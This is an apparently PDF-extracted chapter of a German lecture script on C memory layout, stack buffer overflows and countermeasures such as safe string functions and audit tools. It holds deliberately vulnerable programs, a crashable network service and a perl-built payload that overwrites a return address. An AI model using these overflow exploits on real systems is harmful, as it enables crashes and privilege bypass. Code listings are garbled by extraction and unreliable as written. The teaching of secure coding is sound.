Speicherzugriffsfehler, da das Text-Segment ja schreibgeschützt ist.
2
Zur Erinnerung: der erste Parameter von printf ist ein Format-String, der ausdrückt wie ausgegeben werden soll, die nachfolgenden Parameter sind die Werte, die gemäß dem Format-String
ausgegeben werden.
147
Stack
?frei
Heap
6
t x e T
Text ← global[-10000]
Abbildung 11.3: Speicherzugriffsfehler
Globale und static Variable werden im Data Segment abgelegt. Dabei wird das
Segment nochmals unterteilt, in den Data und den BSS Block (block started by
symbol). Im Data Block werden initialisierte globale und initialisierte static Variable
gespeichert. Im BSS Block werden nicht initialisierte globale und nicht initialisierte
static Variable gespeichert.
Auto-Variable (lokale Variable einer Funktion) und Funktionsparameter werden
auf dem Stack abgelegt, wenn die Funktion aufgerufen wird. Der Stack ist unterteilt
in zwei Bereiche: Umgebungsinformationen zum Prozess und User Stack. Insgesamt
wächst der Stack dabei von hohen zu niedrigen Adressen.
Im Heap werden die dynamisch erzeugten Objekte (z.B. mit new angelegt) abgelegt.
oberstes Element
Endemarke
Programname
env[0] ... env[m]
argv[0] ... argv[n]
argc
?
User Stack
frei
Abbildung 11.4: Stack
Mittels eines Debuggers kann man die Lage der einzelnen Arten von Variablen im
Speicher ansehen. Wir verwenden der Einfachheit halber den GNU Debugger. Dazu
betrachten wir ein einfaches Programm segmente.c, bei dem zwei globale Variable
(global_i und global_ni)) und eine Funktion (funktion) definiert sind. Die Funktion
main ruft diese Funktion auf, die selbst lokale Variable (lokal_stat_i, lokal_stat_ni
und lokal_i) besitzt.
1
2
char global_i [] = " Text " ;
int global_ni ;
148
4
5
6
7
8
10
11
12
13
void funktion ( int lokal_a , int lokal_b , int lokal_c ) {
static int lokal_stat_i = 15;
static int lokal_stat_ni ;
int lokal_i ;
}
int main ( void ) {
funktion (1 , 2 , 3);
return 0;
}
Der GNU Compiler muss mit der Option ’-g’ aufgerufen werden, um DebuggInformation zu generieren: $ gcc -g -o segmente segmente.c Nun kann der Debugger aufgerufen werden:
$ gdb segmente
GNU gdb ( GDB ) Fedora (7.2 -16. fc14 )
Reading symbols from segmente ... done .
( gdb )
Wir setzen einen Breakpoint am Ende der Funktion 0 f unktion0 , um die Speicherbelegung vor dem Ende des Programmlaufs ansehen zu können.
( gdb ) list
←
2 int
global_ni ;
3
4 void funktion ( int lokal_a , int lokal_b , int lokal_c ) {
5
static int lokal_stat_i = 15;
6
static int lokal_stat_ni ;
7
int
lokal_i ;
8 }
9
10 int main ( void ) {
11
funktion (1 , 2 , 3);
( gdb ) break 8
←
Breakpoint 1 at 0 x8048397 : file segmente .c , line 8.
( gdb )
Nun wird das Programm mittels ’run’ im Debugger ablaufen gelassen:
( gdb ) run
←
Starting program : segmente
Breakpoint 1 , funktion ( lokal_a =1 , lokal_b =2 , lokal_c =3)
at segmente . c :8
8
}
( gdb )
149
Wir sehen uns die Adressen der einzelnen Variablen mittels ’print’ an:
( gdb ) print & global_i
←
$3 = ( char (*)[5]) 0 x804962c
( gdb ) help info symbol
Describe what symbol is at location ADDR .
Only for symbols with fixed locations .
( gdb ) info symbol 0 x804962c
←
global_i in section . data of segmente
←
( gdb ) print & global_ni
←
$4 = ( int *) 0 x8049644
( gdb ) info symbol 0 x8049644
global_ni in section . bss of segmente
←
( gdb ) print & lokal_stat_i
←
$5 = ( int *) 0 x8049634
( gdb ) info symbol
0 x8049634
lokal_stat_i .1219 in section . data of segmente
( gdb )
←
So hat z.B. die Variable ’global_i’ die Adresse ’0x804962c’
Die Lage der ’nicht statischen lokalen Variablen’ kann man nur über einen Trick
ansehen, da sie sich auf dem Stack befinden: man verzweigt vom Debugger zur Shell
und sieht im proc-Dateisystem nach.
( gdb ) shell
[ as@ulab1 S chwachst ellen ] $ ps -a | grep segmente
26121 pts /0
00:00:00 segmente
[ as@ulab1 S chwachst ellen ] $ cat / proc /26121/ maps
00110000 -00111000 r - xp 00000000 00:00 0
0076 a000 -00787000 r - xp 00000000 fd :00 47859
00787000 -00788000 r - - p 0001 c000 fd :00 47859
...
00911000 -00912000 rw - p 00185000 fd :00 47860
00912000 -00915000 rw - p 00000000 00:00 0
08048000 -08049000 r - xp 00000000 fd :02 561900
08049000 -0804 a000 rw - p 00000000 fd :02 561900
b7fef000 - b7ff0000 rw - p 00000000 00:00 0
b7fff000 - b8000000 rw - p 00000000 00:00 0
bffdf000 - c0000000 rw - p 00000000 00:00 0
exit
( gdb )
←
←
←
[ vdso ]
Anfang Textsegment
/ lib / ld -2.13. so
/ lib / ld -2.13. so
/ lib / libc -2.13. so
segmente
segmente
[ stack ]
Anfang Stack
mit Adr. lokal_i
Stack Funktionsprinzip
Der Stack wird durch push- und pop-Operationen verwaltet und ist in Frames
eingeteilt. Neben den automatischen Variablen und den Funktionsparametern, werden
auch Verwaltungsinformationen, wie z.B. die Rücksprungadresse und Framepointer
bei einem Funktionsaufruf auf den Stack geschrieben.
Das nachfolgende Beispiel funk_normal.c wird verwendet, um das Funktionsprinzip
des Stack bei Aufrufen von Funktionen zu erläutern.
150
1
2
3
4
5
6
8
9
10
11
12
void funktion ( int a , int b , int c ) {
char buff [10];
/* lokale Variable auf dem Stack */
buff [0] = 6;
buff [1] = a ;
return 6;
}
int main ( void ) {
int i = 1;
/* lokale Variable auf dem Stack */
i = funktion (1 , 2 , 3);
return 0;
}
1. Stack vor dem Aufruf der Funktion funktion(1,2,3), Zeile 10: nur die lokale
Variable der Funktion main ist auf dem Stack.
i=1
frei
2. Stack nach Kopieren der aktuellen Parameter, vor dem Aufruf funktion(1,2,3),
Zeile 10: vor dem Aufruf der Funktion ’Funktion’ werden die aktuellen Parameter
auf den Stack geschrieben, ebenso die Adresse, zu der später nach dem Aufruf
der Funktion zurück gesprungen werden soll.
i=1
3
2
1
Rücksprungadresse ← i = funktion(1,2,3) in main
frei
3. Stack nach Aufruf von i=funktion(1,2,3), vor Termination der Funktion, Zeile
10: ein neuer Stack-Frame wird angelegt, Framepointer und die lokalen Variable
der aufgerufenen Funktion werden auf den Stack kopiert.
151
i=1
3
2
1
Rücksprungadresse
Framepointer
6
main()
← buff[16] ?
?
?
buff[9]
buff[8]
buff[7] buff[6] buff[5] buff[4]
buff[3] buff[2] buff[1] ’6’
frei
6
funktion()
?
Der Stack arbeitet mir Doppelworten. Somit passen 4 Elemente in eine ’Stackzeile’. Zur Speicherung von ’char buff[10];’ sind also 3 Zeilen erforderlich.
Im gelben Bereich kann man also mit ’buf[16]’ auf die Rücksprungadresse
zugreifen !!! Somit kann eine neue Rücksprungadresse mit ’buff[16] = neue
Adresse’ gesetzt werden.
4. Stack nach Aufruf von i=funktion(1,2,3), nach Termination der Funktion:
i=6
frei
Der Frame der Funktion Funktion wird vom Stack entfernt, die lokale Variable
i der Funktion main ist nun mit dem Rückgabewert der aufgerufenen Funktion
belegt.
11.1.1 Schwachstellen
Eine stackbasierte Pufferüberlauf-Schwachstelle (Buffer-Overflow ) entsteht, wenn die
Verwaltungsinformation auf dem Stack manipuliert wird, indem z.B. ein statisches
Array mit mehr Werten gefüllt wird, als es gross ist. Im folgenden Beispiel stack_bof.c
wird es einen solchen Überlauf geben, wenn das Programm mit einem Argument
aufgerufen wird, das zu lang ist. Die Ursache ist die Verwendung von strcpy3 in der
Funktion ’funktion’, da diese C-String-Funktion keine Längenprüfung durchführt, der
Zielspeicherbereich also ungeprüft überschreiben wird.
3
Zur Erinnerung: die Funktion stpcpy(char *dst, const char *src) aus der Standard C-Bibliothek
kopiert die Bytes des Quellstrings src in den Zielstring dst.
152
1
2
3
4
6
7
8
9
10
11
12
13
14
void funktion ( char * args ) {
char buff [12];
←
strcpy ( buff , args );
←
}
int main ( int argc , char * argv []){
printf ( " Eingabe : " );
if ( argc > 1) {
funktion ( argv [1]);
printf ( " % s \ n " , argv [1]);
} else
printf ( " Kein Argument !\ n " );
return 0;
}
$ stack_bof 123456
Eingabe : 123456
$ stack_bof 123456789012345678901234
Speicherzugriffsfehler
$
Der Grund des Absturzes ist, dass die Rücksprungadresse mit ’7890’ überschrieben
wurde und der Versuch an die überschriebene Adresse zu springen, einen Speicherzugriffsfehler erzwungen hat.
6
main()
Rücksprungadresse
Framepointer
buff[11]buff[10]buff[9]buff[8]
?
6
funktion()
’4’
’3’
’2’
’1’
’0’
’9’
’8’
’7’
’6’
’5’
’4’
’3’
’2’
’1’
’0’
’9’
’8’
’7’
’6’
’5’
’4’
’3’
’2’
’1’
?
frei
frei
11.1.2 Angriffsmöglichkeiten
Das ’Abschießen’ von Service-Programmen nennt man auch Denial of Service Attacke.
Eine Möglichkeit, dies zu tun besteht im Ausnutzen von Pufferüberläufen die dann
zum Absturz des Service-Programms führen - der Service steht dann nicht mehr zur
153
Verfügung. Das folgende Programm dos.c realisiert einen Service (auf Socket Basis4 ),
der auf den Port 7777 hört und dem Benutzer bei Anfragen zur Eingabe auffordert,
dann den Eingabewert zurück liefert.
1
2
3
5
6
7
8
9
11
12
13
14
15
16
17
18
19
20
21
# define LISTENQ 1024
# define SA struct sockaddr
# define PORT 7777
←
void do_sth ( char * str ) {
char buff [24];
strcpy ( buff , str );
printf ( " buff :\ t % s \ n " , buff );
}
int main ( int argc , char * argv []) {
char line [64];
int listenfd , connfd ;
struct sockaddr_in servaddr ; ssize_t n ;
listenfd = socket ( AF_INET , SOCK_STREAM , 0);
bzero (& servaddr , sizeof ( servaddr ));
servaddr . sin_family = AF_INET ;
servaddr . sin_addr . s_addr = htonl ( INADDR_ANY );
servaddr . sin_port = htons ( PORT );
bind ( listenfd , ( SA *) & servaddr , sizeof ( servaddr ));
listen ( listenfd , LISTENQ );
23
24
25
26
27
28
29
30
31
←
}
while (1) {
connfd = accept ( listenfd , ( SA *) NULL , NULL );
write ( connfd , " Eingabe :\ t " , 9);
n = read ( connfd , line , sizeof ( line ) - 1);
line [ n ] = 0;
do_sth ( line );
close ( connfd );
}
←
Der Dienst wird im Hintergrund gestartet, das ps-Komando zeigt den Prozess mit
der Prozessnummer (PID) 5940:
$ dos &
[1] 6814
$ ps
PID TTY
4
←
TIME CMD
Sie werden Socket-Programmierung im 4. Semester in der Veranstaltung ’Verteilte Systeme’
ausführlich kennen lernen.
154
$
5939 pts /0
5940 pts /0
6820 pts /0
00:00:00 bash
00:00:00 dos
00:00:00 ps
←
Nun kann der Dienst von einem (normalerweise anderen) Rechner in Anspruch
genommen werden, wir verwenden das Programm telnet dazu:
$ telnet localhost 7777
←
Trying 127.0.0.1...
Connected to localhost .
Escape character is ' ^] '.
Eingabe : AAAAAAAA
buff :
AAAAAAAA
Connection closed by foreign host .
$
Der Dienst wird ’abgeschossen’, wenn die Benutzereingabe zu gross ist, weil die Funktion do_sth() die Bibliotheksfunktion strcpy() verwendet und keine Längenprüfung
erfolgt (Pufferüberlauf):
←
Trying 127.0.0.1...
Eingabe : A A A A AA A A AA A A AA A A AA A A A AA A A AA A A AA A A AA A A AA A A A AA A A A
buff :
A A A A AA A A AA A A AA A A AA A A A AA A A AA A A AA A A AA A A AA A A A AA A A A
[1]+ Speicherzugriffsfehler dos
←
$ ps
PID TTY
TIME CMD
5939 pts /0
00:00:00 bash
6824 pts /0
00:00:00 ps
$
Der Grund des Absturzes ist auch hier, dass die Rücksprungadresse überschrieben
wurde und der Versuch an die überschriebene Adresse zu springen, einen Speicherzugriffsfehler erzwungen hat. Das sieht man, indem man den Coredump auswertet
(dazu muss man das Anlegen eines Coredump explizite erlauben):
$ ulimit -c 1000
←
←
Trying 127.0.0.1...
Eingabe : A A A A AA A A AA A A AA A A AA A A A AA A A AA A A AA A A AA A A AA A A A AA A A A
buff :
A A A A AA A A AA A A AA A A AA A A A AA A A AA A A AA A A AA A A AA A A A AA A A A
155
[1]+ Speicherzugriffsfehler ( core dumped ) dos
←
$ ls
core .6844 dos dos . c
←
$ gdb dos core .6831
←
Core was generated by ` dos '.
Program terminated with signal 11 , Segmentation fault .
...
( gdb ) info registers ebp eip
←
ebp
0 x41414141
0 x41414141
←
eip
0 x41414141
0 x41414141
←
( gdb )
Die Rücksprungadresse (abgelegt im Register eip) besteht aus 0x4141414141414141
(= AAAAAAAA). Das ist keine gültige Adresse. Der Framepointer (im Register ebp)
ist auch mit A’s überschrieben.
Gezielte Modifikation des Programmflusses
Im letzten Beispiel wurde die Rücksprungadresse mit A’s überschreiben. Den Programmfluss kann man manipulieren, wenn man die Rücksprungadresse mit einer
gültigen Adresse überschreibt. Es ist also erforderlich,
1. die Speicheradresse zu bestimmen, an der sich die Rücksprungadresse befindet
(diesen Platz wollen wir ja überschreiben) und
2. eine neue Adresse zu bestimmen, an der das Programm weiter machen soll.
Im folgenden Programm ret.c gibt es zwei Funktionen:
• oeffentlich()
die soll von einem normalen Benutzer aufgerufen werden;
• geheim()
die soll nur aufgerufen werden, wenn der Superuser das Programm verwendet.
1
2
3
4
6
7
8
9
10
void geheim ( void ) {
printf ( " GEHEIM !!!\ n " );
exit (0);
}
void oeffentlich ( char * args ) {
char buff [12];
// Buffer
memset ( buff , 'B ' , sizeof ( buff )); // Fuelle Buffer
strcpy ( buff , args );
// Ziel des Angriffs ←
printf ( " \ nbuff : [% s ] (% p )(% d )\ n \ n " ,
156
11
12
14
15
}
int uid ; uid = getuid ();
if ( uid == 0)
geheim ();
17
18
20
21
22
23
24
25
26
27
buff , buff , sizeof ( buff ));
}
// soll nur ausgefuehrt werden ,
←
// wenn der root das Programm startet
if ( argc > 1) {
printf ( " geheim ()
- >(% p )\ n " , geheim );
printf ( " oeffentlich () - >(% p )\ n " , oeffentlich );
oeffentlich ( argv [1]);
} else
printf ( " Kein Argument !\ n " )
return 0;
←Adresse von geheim
←und oeffentlich
Der Aufruf als normaler Benutzer und root ohne Pufferüberlauf führt zu dem erwarteten Ergebnis:
$ id
uid =500( as ) gid =100( users )
$ ret AAA
geheim ()
-> (0 x80483f8 )
oeffentlich () -> (0 x8048418 )
buff : [ AAA ] (0 xbfffda60 )(12)
$ su
Password :
# id
uid =0 gid =0
# ret AAA
GEHEIM !!!
#
←
← Adr. geheim
← Adr. oeffentlich
(Adr. buf), (buf.len)
←
←
Die Adresse von geheim ist also ’0x80483f8’.
Wenn wir nun diese Adresse von geheim() als Rücksprungadresse auf den Stack
bringen, zuvor noch den Framepointer mit Dummies füllen, müsste die Prozedur
geheim ausgeführt werden, auch wenn man nicht Superuser ist, da aus der Funktion
oeffentlich nicht zu main, sondern zu geheim gesprungen wird.
$ id uid =500( as ) gid =100( users )
$ ret ` perl -e '{ print " A " x12 ; print " B " x4 ; print "\ xf8 \ x83 \ x04 \ x08 ";} ' `
geheim ()
-> (0 x80483f8 )
oeffentlich () -> (0 x8048418 )
buff : [ A A A A A A A A A A A A B B B B ¿ ] (0 xbfffdbf0 )(12)
GEHEIM !!!
$
157
6
main()
Rücksprungadresse
Framepointer
buff[11]buff[10]buff[9]buff[8]
’xf8’ ’x83’ ’x04’ ’x08’
?
6
oeffentlich()
’B’
’B’
’B’
’A’
’A’
’A’
’A’
’A’
’A’
’A’
’A’
’A’
’A’
’A’
’A’
?
frei
geheim(){...}
oeffentlich(){...}
main(){...}
’B’
frei
R geheim(){...}
@
0x80483f8@
oeffentlich(){...}
main(){...}
Mittels ’perl’ werden A’s B’s und die Rücksprungsadresse erzeugt, dieser String wird
dann als Argument für vom Programm ret verwendet.
Achtung: je nach vorhandener Umgebung sind neben dem Framepointer noch
weitere Register gespeichert: → entsprechend viel B’s verwenden (z.B ’B’x12).
In der Vorlesung ’Betriebssysteme’ im dritten Semester werden weitere Angriffsmöglichkeiten gezeigt, z.B wird fremder Kode in ein Programm, das eine Sicherheitslücke
via gets() aufweist eingeschleust, um root-Zugang zum Linux-System zu erhalten.
11.2 Gegenmaßnahmen
Die (leider) heute gängige Praxis, mit Software-Schwachstellen umzugehen ist:
1. Erstellung von Software ohne besondere Beachtung von sicherheitsrelevanten
Aspekten.
2. Verkauf der Software.
3. Eine Schwachstelle wird entdeckt und ein Exploit wird entwickelt (meist durch
Hacker).
4. Der Hersteller stellt einen Patch bereit.
5. Ein Bugreport wird in Mailinglisten veröffentlicht, der Systembetreuer auffordert, den Patch einzuspielen.
Besser als im Nachhinein aktiv zu werden ist es, vor dem Verkauf der Software,
Schwachstellen zu erkennen:
• während der Programmentwicklung (sichere Programmierung),
158
• durch Audits nach der Programmerstellung,
• mittels Compilererweiterungen und
• Prozesserweiterungen.
11.2.1 Sichere Funktionen
In der C-Standardbibliothek existieren einige Funktionen, die als ’risikobehaftet’
bekannt sind und deshalb nicht verwendet werden sollten. Einige dieser Funktionen
werden gezeigt und Alternativen diskutiert.
fgets
gets dient dazu, einer Zeile von der Standardeingabe einzulesen und in einem Puffer
zu speichern. Da man den Puffer im Programm anlegen muss, also eine feste Grösse
angeben muss, kann nie verhindert werden, dass mehr Eingaben gemacht werden, als
der Puffer gross ist. gets.c
1
2
3
4
5
6
7
# include < stdio .h >
int main ( void ) {
char buff [24];
gets ( buff );
return 0;
}
← was passiert bei Eingaben > 24?
Der Compiler warnt schon vor der Verwendung von gets!
$ gcc
gets . c
-o gets
/ tmp / ccuLyf47 . o (. text +0 x28 ): In function ` main ':
: warning : the ` gets ' function is dangerous and
should not be used . ←
$
$ gets
Eingabe : A A AA A AA A AA A AA A AA A AA A AA A AB B BB B BB B BB B B BB B BB B BB B
$
Offensichtlich wurde der Puffer buff über seine Grenzen hinweg überschrieben und
Verwaltungsinformation, wie Framepointer oder Rücksprungadresse mit B’s führen
zu dem Speicherzugriffsfehler.
Die Alternative für gets ist die Funktion fgets, bei der die Anzahl der von stdin
gelesenen Bytes angegeben werden muss. Die Manual Seiten von Funktionen kann
man mit dem man-Kommando aufrufen.
159
$ man fgets
char * fgets ( char *s , int size , FILE * stream );
fgets () liest hoechstens size minus ein Zeichen von stream und speichert
sie in dem Puffer , auf den s zeigt . Das Lesen stoppt nach einem EOF
oder Zeil envorsch ub . Wenn ein Zeilenv orschub gelesen wird , wird er in
dem Puffer gespeichert . Ein Õ \0 Õ wird nach dem letzten Zeichen im
Puffer gespeichert .
...
$
fgets.c
1
2
3
4
5
6
7
int main ( void ) {
char buff [24];
fgets ( buff , 24 , stdin );
return 0;
}
←
strncpy
Die Funktion strcpy haben wir bereits als unsichere Bibliotheksfunktion identifiziert.
Sie dient dazu, eine Zeichenkette von einem Puffer in einen anderen zu kopieren.
Dabei werden keine Überprüfungen der Puffergrenzen vorgenommen.
Daher ist diese Funktion der klassische Angriffspunkt für Pufferüberlauf-Attacken.
strcpy.c
1
2
3
# include < string .h >
char buff [24];
if ( argc > 1)
strcpy ( buff , argv [1]);
5
6
8
9
}
←
return 0;
Als sichere Alternative sollte man strncpy verwenden.
BEZEICHNUNG
strcpy , strncpy - kopiert eine Zeichenkette
UEBERSICHT
char * strcpy ( char * dest , const char * src );
char * strncpy ( char * dest , const char * src , size_t n );
BESCHREIBUNG
Die Funktion strcpy () kopiert die Zeichenkette , auf die der Zeiger src
zeigt , inklusive des Endezeichens Ô \0 Õ an die Stelle , auf die dest
zeigt . Die Zeicheketten duerfen sich nicht ueberlappen und dest mu§ gro§
160
genug sein .
Die Funktion strncpy () tut dasselbe mit dem Unterschied , da§ nur die
ersten n Byte von src kopiert werden . Ist kein ' \0 Õ innerhalb der
ersten n Bytes , so wird das Ergebnis nicht durch Ô \0 Õ abgeschlossen .
Ist die Laenge von src kleiner als n Bytes , so wird dest mit Nullen
aufgefuellt .
RUECKGABEWERT
Die Funktionen strcpy () und strncpy () geben einen Zeiger auf dest
zur \" uck .
strncpy.c
1
2
3
4
# define BUFFER 24
char buff [ BUFFER ];
if ( argc > 1) {
strncpy ( buff , argv [1] , BUFFER - 1);
buff [ BUFFER - 1] = ' \0 ';
}
6
7
8
9
11
12
}
←
← !!!
return 0;
Achtung:
Das Ende der Zeichenkette ist stets explizit mit ’\0’ zu terminieren,
ansonsten entsteht eine neue Schwachstelle.
strncat
Die Funktion strcat ist eine weitere unsichere Bibliotheksfunktion, zu der es eine
sichere Alternative gibt, bei der aber auch die Nulltermination zu beachten ist.
BEZEICHNUNG
strcat , strncat - verbinden zwei Zeichenketten
UEBERSICHT
char * strcat ( char * dest , const char * src );
char * strncat ( char * dest , const char * src , size_t n );
BESCHREIBUNG
Die Funktion strcat haengt die Zeichenkette src an die Zeichenkette dest
an , wobei das S t r i n g e n d e z e i c h e n Ô \0 Õ ueb erschrie ben wird und ein neues
Ô \0 Õ am Ende der gesamten Zeichenkette angehaengt wird . Die Zeichenket ten koennen sich nicht ueberlappen und dest mu§ Platz genug fuer die
gesamte Zeichenkette haben .
Die Funktion strncat tut dasselbe , wobei allerdings nur die ersten n
Buchstaben von src kopiert werden .
RUECKGABEWERT
Die Funktionen strcat () und strncat () liefern einen Zeiger auf die
gesamte Zeichekette dest zurueck .
Im nachfolgenden Beispiel wird mittels strcat an die Zeichenkette ’Jenni’ das Kommandozeilenargument angehängt (strcat.c)
161
1
2
3
4
5
6
7
8
# define BUFFER 8
char buff [ BUFFER ] = " Jenni " ;
if ( argc > 1)
strcat ( buff , argv [1]);
←
printf ( " buff : [% s ] (% p )\ n " , buff , buff );
return 0;
}
$ strcat ` perl -e '{ print " A " x1 } ' `
buff : [ JenniA ] (0 xfef6b030 )
$ strcat ` perl -e '{ print " A " x8 } ' `
buff : [ JenniAAAAAAAA ] (0 xfeee5c90 )
$
Bei der sicheren Alternative werden nur soviel Zeichen kopiert, dass kein Überlauf
statt finden kann (strncat.c)
1
2
3
4
5
6
7
8
# define BUFFER 8
char buff [ BUFFER ] = " Jenni " ;
if ( argc > 1)
strncat ( buff , argv [1] , BUFFER - strlen ( buff ) - 1);
printf ( " buff : [% s ] (% p )\ n " , buff , buff );
return 0;
}
←
$ strncat ` perl -e '{ print " A " x1 } ' `
buff : [ JenniA ] (0 xfeeece70 )
$ strncat ` perl -e '{ print " A " x8 } ' `
buff : [ JenniAA ] (0 xfeecbe90 )
$
snprintf
Die beiden Bibliotheksfunktionen zur formatierten Ausgabe sind unsicher, da auch sie
keine Längenüberprüfung vornehmen. Im folgenden Beispiel wird das KommandozeilenArgument in den Puffer buff geschrieben und keine Längenprüfung durchgeführt
(sprintf.c).
1
2
3
# define BUFFER 16
162
if ( argc > 1)
sprintf ( buff , " Eingabe : % s " , argv [1]);
5
6
8
9
10
11
}
←
printf ( " buff : [% s ] (% p )(% d )\ n " ,
buff , buff , strlen ( buff ));
return 0;
$ sprintf ` perl -e '{ print " A " x10 } ' `
buff : [ Eingabe : AAAAAAAAAA ] (0 xfef71e80 )(19)
$ sprintf ` perl -e '{ print " A " x20 } ' `
buff : [ Eingabe : AAAAAAAAAAAAAAAAAAAA ] (0 xfee91110 )(29)
$
Verwenden sollte man stets die sichere Alternative snprintf (snprintf.c).
1
2
3
# define BUFFER 16
5
6
7
8
9
10
11
12
}
if ( argc > 1) {
snprintf ( buff , BUFFER , " Eingabe : % s " , argv [1]);
buff [ BUFFER - 1] = ' \0 ';
}
printf ( " buff : [% s ] (% p )(% d )\ n " ,
return 0;
←
$ snprintf ` perl -e '{ print " A " x10 } ' `
buff : [ Eingabe : AAAAAA ] (0 xfef50c80 )(15)
$ snprintf ` perl -e '{ print " A " x20 } ' `
buff : [ Eingabe : AAAAAA ] (0 xfef0a790 )(15)
$
Achtung:
Nicht alle Implementierungen von snprintf terminieren den String mit ’0’.
Deshalb sollte man dies stets explizit tun!
scanf
Die Schwachstellen der scanf-Familie (scanf, sscanf, fscanf) von Bibliotheksfunktionen
werden an scanf demonstriert. Die Schwachstelle beruht wieder darauf, dass keine
163
Überprüfung der Puffergrenzen durchgeführt wird (scanf.c).
1
2
3
# define BUFFER 8
5
6
7
8
9
}
scanf ( " % s " , & buff );
←
printf ( " buff : [% s ] (% p )(% d )\ n " ,
return 0;
$ scanf
AAAAAAAA
buff : [ AAAAAAAA ] (0 xfeef59a0 )(8)
$ scanf
AAAAAAAABBBBBBBB
buff : [ AAAAAAAABBBBBBBB ] (0 xfefad570 )(16)
$
Für die scanf-Familie gibt es keine sicherer Alternativen in der Standardbibliothek.
Man kann aber scanf-Funktionen verwenden, wenn man etwa die Längenbeschränkung
im Format-String verwendet (scanf2.c).
1
2
3
4
5
6
# define BUFFER 8
scanf ( " %7 s " , & buff ); // %7 s = % BUFFER -1
return 0;
}
←
$ scanf2
AAAAAAAA
$ scanf2
AAAAAAAABBBBBBBB
$
getchar
Die Funktion getchar (fgets, getc und read analog) dient zum Lesen eines Zeichens von
stdin. Im Zusammenhang mit Schleifen sind hier schnell Schwachstellen programmiert
(getchar.c).
1
# define BUFFER 8
164
2
3
4
5
6
7
8
9
10
11
int main ( void ) {
char buff [ BUFFER ] , c ;
int i = 0;
memset ( buff , 'A ' , BUFFER );
// f \" ulle buff mit As
while (( c = getchar ()) != '\ n ') { // lese bis Newline
buff [ i ++] = c ;
}
printf ( " buff : [% s ] (% p )(% d )\ n " ,
}
$ getchar
AAAAAAAA
buff : [ AAAAAAAAB ?] (0 xfef04290 )(15)
$
←
←
Offensichtlich sind in buff 15 Zeichen, obwohl er nur 8 Byte aufnehmen kann. Der
Fehler liegt darin, dass nach der while-Schleife keine Nulltermierung erfolgt ist. Die
korrekte Lösung ist (getchar2.c).
1
2
3
4
5
6
7
8
# define BUFFER 8
int main ( void ) {
char buff [ BUFFER ] , c ;
int i = 0;
memset ( buff , 'A ' , BUFFER );
while (( c = getchar ()) != '\ n ' && i < 23) {
buff [ i ++] = c ;
}
// Nulltermination
if ( i < BUFFER -1)
buff [ i ++] = ' \0 ';
else
buff [ BUFFER - 1] = ' \0 ';
10
11
12
13
14
16
17
18
}
←
←
←
←
←
printf ( " buff : [% s ] (% p )(% d )\ n " ,
$ getchar2
AAAAAAAA
buff : [ AAAAAAA ] (0 xfef3cde0 )(7)
$
←
165
getenv
Das Lesen von Werten aus Umgebungsvariablen führt in Verbindung mir unsicheren
Bibliotheksfunktionen genauso zu Schwachstellen, wie das Lesen von stdin (getenv.c).
1
2
3
4
# define BUFFER 16
int main ( void ) {
char * tmp ;
tmp = getenv ( " HOME " );
if ( tmp != NULL )
strcpy ( buff , tmp );
6
7
8
10
11
12
}
←
←
printf ( " buff : [% s ] (% p )(% d )\ n " ,
$ getenv
buff : [/ home / as ] (0 xfeec4560 )(8)
$
Ist der Wert der Umgebungsvariable zu gross, entsteht ein Pufferüberlauf, weil strcpy
verwendet wurde.
$ export HOME = AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB
$ getenv
buff : [ AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB ] (0 xfee9c330 )(32)
$
Also richtig mit Längenüberprüfung durch stcncpy (getenv2.c).
1
2
3
4
5
6
7
8
9
10
11
# define BUFFER 16
int main ( void ) {
char buff [ BUFFER ] , * tmp ;
tmp = getenv ( " HOME " );
if ( tmp != NULL ) {
strncpy ( buff , tmp , BUFFER - 1); ←
buff [ BUFFER - 1] = ' \0 ';
}
printf ( " buff : [% s ] (% p )(% d )\ n " ,
}
166
11.2.2 Source Code Audits
Die Idee eines Quellkode Audits ist es,
1. alle ’gefährlichen’ Stellen zu finden und
2. anschliessend durch (einen zweiten) Programmierer überprüfen zu lassen.
Wir haben gesehen, dass die Verwendung von statischen Zeichenpuffern mit unsicheren
Funktionen zu Schwachstellen führen kann. Das Finden von solchen statischen CharPuffern erfolgt z.B. einfach mittels grep:
$ grep -n ' char .*\[ ' *. c
←
fgets . c :4:
char buff [24];
getchar2 . c :5: char
buff [ BUFFER ] , c ;
getchar . c :5: char
buff [ BUFFER ] , c ;
getenv2 . c :6: char
buff [ BUFFER ] , * tmp ;
getenv . c :7:
char
buff [ BUFFER ];
gets . c :3:
char
buff [24];
...
$
Das Auffinden von unsicheren Bibliotheksfunktionen erledigt egrep:
$ egrep -n ' strcpy | gets ' *. c
←
fgets . c :7:
fgets ( buff , 24 , stdin );
getenv . c :12: strcpy ( buff , tmp );
gets . c :6:
gets ( buff );
strcpy . c :6:
strcpy ( buff , argv [1]);
$
11.2.3 Automatisierte Softwaretests
Es existieren mehrere frei verfügbare Analysatoren für C und C++ Quellkode, die
die unsicheren Bibliotheksfunktionen erkennen und aufzeigen.
• flawfinder http://www.dwheeler.com/flawfinder/
• rats http://www.securesoftware.com/security_tools_download.htm
Hier soll kurz ein Beispiel mit splint gezeigt werden:
1
2
3
4
5
6
7
int main ( void ) {
char buff [24];
gets ( buff );
return 0;
}
← was passiert bei Eingaben > 24?
167
$ splint gets . c
Splint 3.1.1 --- 17 Feb 2004
gets . c : ( in function main )
gets . c :4:2: Use of gets leads to a buffer overflow vulnerability .
Use fgets instead : gets
Use of function that may lead to buffer overflow .
gets . c :4:2: Return value ( type char *) ignored : gets ( buff )
Result returned by function call is not used .
If this is intended , can cast result to ( void ) to
eliminate message .
Finished checking --- 2 code warnings
$
11.2.4 Binary Audits
Neben den Werkzeugen, die den Quellkode analysieren, existieren Werkzeuge, die
man verwenden kann, wenn der Quellkode nicht verfügbar ist. Sie arbeiten mit den
Binaries. Dabei werden die Programme durch Stresstests mit generierten Eingaben
und Umgebungen wiederholt angestossen und das Verhalten beobachtet. Damit sollen
z.B. Pufferüberläufer erkannt werden, bevor das Programm zum Einsatz in die
produktive Umgebung freigegeben wird. In grossen Unternehmen, wird mehr und
mehr der Quellkode zur Überprüfung vom Hersteller verlangt, der dann einem Audit
unterzogen wird, bevor die Software eingesetzt werden darf.
11.2.5 Compilererweiterungen
Das Hauptproblem der Pufferüberläufe liegt in der Sprache C bzw. C++ selbst. Die
Idee bei der Entwicklung war u.a., eine Hochsprache zu haben, die dennoch in effizientem übersetzten Kode mündet. Deshalb sind Überprüfungen auf Zeigerreferenzen
und Arraygrenzen dem Programmierer überlassen.
Es existieren Erweiterungen der Programmierumgebung, die diese Überprüfungen
vornehmen:
